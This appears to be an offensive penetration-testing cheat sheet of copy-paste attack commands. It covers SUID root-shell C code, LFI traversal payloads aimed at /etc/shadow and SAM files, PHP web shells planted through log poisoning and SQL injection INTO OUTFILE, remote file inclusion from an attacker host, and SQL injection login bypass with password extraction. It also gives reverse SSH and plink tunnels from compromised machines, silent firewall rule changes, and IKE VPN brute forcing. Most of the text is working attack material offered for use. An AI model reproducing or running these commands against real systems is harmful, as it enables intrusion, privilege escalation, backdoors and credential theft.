• Add a user or change a password
  /usr/sbin/useradd -p 'openssl passwd -1 thePassword' haxzor
  echo thePassword | passwd haxzor --stdin

• Local Privilege Escalation Exploit in Linux

  • SUID (Set owner User ID up on execution)
    Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

    below are some quick copy and paste examples for various shells:

    SUID C Shell for /bin/bash

    int main(void){
    setresuid(0, 0, 0);
    system("/bin/bash");
    }

    SUID C Shell for /bin/sh

    int main(void){
    setresuid(0, 0, 0);
    system("/bin/sh");
    }

    Building the SUID Shell binary
    gcc -o suid suid.c
    For 32 bit:
    gcc -m32 -o suid suid.c

  • Create and compile an SUID from a limited shell (no file transfer)
    echo "int main(void){\nsetgid(0); setuid(0);\nsystem(\"/bin/sh\");\n}" >privsc.c
    gcc privsc.c -o privsc

• Add users to Root SUDO group with no password requirement

• File Inclusion Vulnerabilities

  • Local (LFI) and remote (RFI) file inclusion vulnerabilities are commonly found in poorly written PHP code.

  • fimap - There is a Python tool called fimap which can be leveraged to automate the exploitation of LFI/RFI vulnerabilities that are found in PHP (sqlmap for LFI):
    https://github.com/kurobeats/fimap

    • Gaining a shell from phpinfo()
      fimap + phpinfo() Exploit - If a phpinfo() file is present, it’s usually possible to get a shell, if you don’t know the location of the phpinfo file fimap can probe for it, or you could use a tool like OWASP DirBuster.

  • For Local File Inclusions look for the include() function in PHP code.
    include("lang/".$_COOKIE['lang']);
    include($_GET['page'].".php");

  • LFI - Encode and Decode a file using base64
    curl -s http://$ip/?page=php://filter/convert.base64-encode/resource=index | grep -e '[^\ ]\{40,\}' | base64 -d

  • LFI - Download file with base 64 encoding
    http://$ip/index.php?page=php://filter/convert.base64-encode/resource=admin.php

  • LFI Linux Files:
    /etc/issue
    /proc/version
    /etc/profile
    /etc/passwd
    /etc/passwd
    /etc/shadow
    /root/.bash_history
    /var/log/dmessage
    /var/mail/root
    /var/spool/cron/crontabs/root

  • LFI Windows Files:
    %SYSTEMROOT%\repair\system
    %SYSTEMROOT%\repair\SAM
    %SYSTEMROOT%\repair\SAM
    %WINDIR%\win.ini
    %SYSTEMDRIVE%\boot.ini
    %WINDIR%\Panther\sysprep.inf
    %WINDIR%\system32\config\AppEvent.Evt

  • LFI OSX Files:
    /etc/fstab
    /etc/master.passwd
    /etc/resolv.conf
    /etc/sudoers
    /etc/sysctl.conf

  • LFI - Download passwords file
    http://$ip/index.php?page=/etc/passwd
    http://$ip/index.php?file=../../../../etc/passwd

  • LFI - Download passwords file with filter evasion
    http://$ip/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

  • Local File Inclusion - In versions of PHP below 5.3 we can terminate with null byte
    GET /addguestbook.php?name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts%00

  • Contaminating Log Files <?php echo shell_exec($_GET['cmd']);?>

  • For a Remote File Inclusion look for php code that is not sanitized and passed to the PHP include function and the php.ini file must be configured to allow remote files /etc/php5/cgi/php.ini - “allow_url_fopen” and “allow_url_include both set to “on”
    include($_REQUEST["file"].".php");

  • Remote File Inclusion
    http://$ip/addguestbook.php?name=a&comment=b&LANG=http://$localip/evil.txt
    <?php echo shell_exec("ipconfig");?>

• <span id="_mgu7e3u7svak" class="anchor"><span id="_Toc480741820" class="anchor"></span></span>Database Vulnerabilities

  • MySQL SQL

  • Grab password hashes from a web application mysql database called “Users” - once you have the MySQL root username and password
    mysql -u root -p -h $ip
    use "Users"
    show tables;
    select * from users;

  • Authentication Bypass
    name='wronguser' or 1=1;#
    name='wronguser' or 1=1 LIMIT 1;#

  • Enumerating the Database
    http://$ip/comment.php?id=738’
    Verbose error message?
    http://$ip/comment.php?id=738 order by 1
    http://$ip/comment.php?id=738 union all select 1,2,3,4,5,6
    Determine MySQL Version:
    http://$ip/comment.php?id=738 union all select 1,2,3,4,@@version,6
    current user being used for the database connection
    http://$ip/comment.php?id=738 union all select 1,2,3,4,user(),6
    we can enumerate database tables and column structures
    http://$ip/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tables
    target the users table in the database
    http://$ip/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name='users'
    extract the name and password
    http://$ip/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a, password),6 FROM users
    Create a backdoor
    http://$ip/comment.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'

• Port Forwarding - accept traffic on a given IP address and port and redirect it to a different IP address and port

  • apt-get install rinetd

  • cat /etc/rinetd.conf
    # bindadress bindport connectaddress connectport
    w.x.y.z 53 a.b.c.d 80

• SSH Local Port Forwarding: supports bi-directional communication channels

  • ssh <gateway> -L <local port to listen>:<remote host>:<remote port>

• SSH Remote Port Forwarding: Suitable for popping a remote shell on an internal non routable network

  • ssh <gateway> -R <remote port to bind>:<local host>:<local port>

• SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local attacking box to tunnel ALL incoming traffic to ANY host in the DMZ network on ANY PORT

  • ssh -D <local proxy port> -p <remote port> <target>

• Proxychains - Perform nmap scan within a DMZ from an external computer

  • Create reverse SSH tunnel from Popped machine on :2222
    ssh -f -N -R 2222:$ip:22 root@$ip

  • Create a Dynamic application-level port forward on 8080 thru 2222
    ssh -f -N -D $ip:8080 -p 2222 hax0r@$ip

  • Leverage the SSH SOCKS server to perform Nmap scan on network using proxy chains
    proxychains nmap --top-ports=20 -sT -Pn $ip/24

• HTTP Tunneling
  nc -vvn $ip 8888

• Traffic Encapsulation - Bypassing deep packet inspection

  • http_tunnel
    On server side:
    sudo hts -F <server_ip_addr>:<port_of_your_app> 80
    On client side:
    sudo htc -P <my_proxy.com:proxy_port> -F <port_of_your_app> <server_ip_addr>:80
    stunnel

• Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network

  • Tunnel on port 22
    plink -l root -pw pass -R 3389:$ip:3389 $ip

  • Port 22 blocked? Try port 80? or 443?
    plink -l root -pw 23847sd98sdf987sf98732 -R 3389:$ip:3389 $ip -P 80

• Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel (bypass deep packet inspection)

  • Windows machine add required firewall rules without prompting the user

  • netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable=yes

  • netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000

  • netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080

  • netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079

  • Start the http tunnel client
    httptunnel_client.exe

  • Create HTTP reverse shell by connecting to localhost port 3000
    plink -l root -pw 23847sd98sdf987sf98732 -R 3389:$ip:3389 $ip -P 3000

• VLAN Hopping

• VPN Hacking

  • Identify VPN servers:
    ./udp-protocol-scanner.pl -p ike $ip

  • Scan a range for VPN servers:
    ./udp-protocol-scanner.pl -p ike -f ip.txt

  • Use IKEForce to enumerate or dictionary attack VPN servers:
    pip install pyip
    git clone https://github.com/SpiderLabs/ikeforce.git
    Perform IKE VPN enumeration with IKEForce:
    ./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
    Bruteforce IKE VPN using IKEForce:
    ./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1
    Use ike-scan to capture the PSK hash:
    ike-scan
    ike-scan TARGET-IP
    ike-scan -A TARGET-IP
    ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
    ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP
    Use psk-crack to crack the PSK hash
    psk-crack hash-file.txt
    pskcrack
    psk-crack -b 5 TARGET-IPkey
    psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
    psk-crack -d /path/to/dictionary-file TARGET-IP-key

• PPTP Hacking
